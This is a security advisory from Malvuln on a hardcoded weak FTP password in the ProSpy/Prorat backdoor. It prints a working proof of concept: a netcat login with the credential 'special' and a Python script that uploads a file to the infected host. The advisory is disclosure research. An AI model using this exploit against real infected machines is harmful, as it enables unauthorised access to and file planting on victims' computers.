Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/dec8f9042986d64e29d62effb482290b.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Prorat.lkt Vulnerability: Weak Hardcoded Password Description: The ProSpy Server V1.9 malware runs an FTP component that listens on TCP port 2121. The FTP server requires authentication for remote user access. However, the username and password both use the word "special" which is both weak and hardcoded in plaintext within the executable. Type: PE32 MD5: dec8f9042986d64e29d62effb482290b Vuln ID: MVID-2021-0360 Dropped files: dxdiag.exe Disclosure: 10/04/2021 Exploit/PoC: nc64.exe 192.168.18.125 2121 220 ProSpy FTP Server ready. USER special 331 Password required for special. PASS special 230 User special logged in. SYST 215 UNIX Type: L8 Internet Component Suite CDUP \ 250 CWD command successful. "C:/" is current directory. PASV 227 Entering Passive Mode (192,168,18,125,194,23). STOR DOOM.js 150 Opening data connection for DOOM.js. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=49687 DOOM="DOOM.js" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).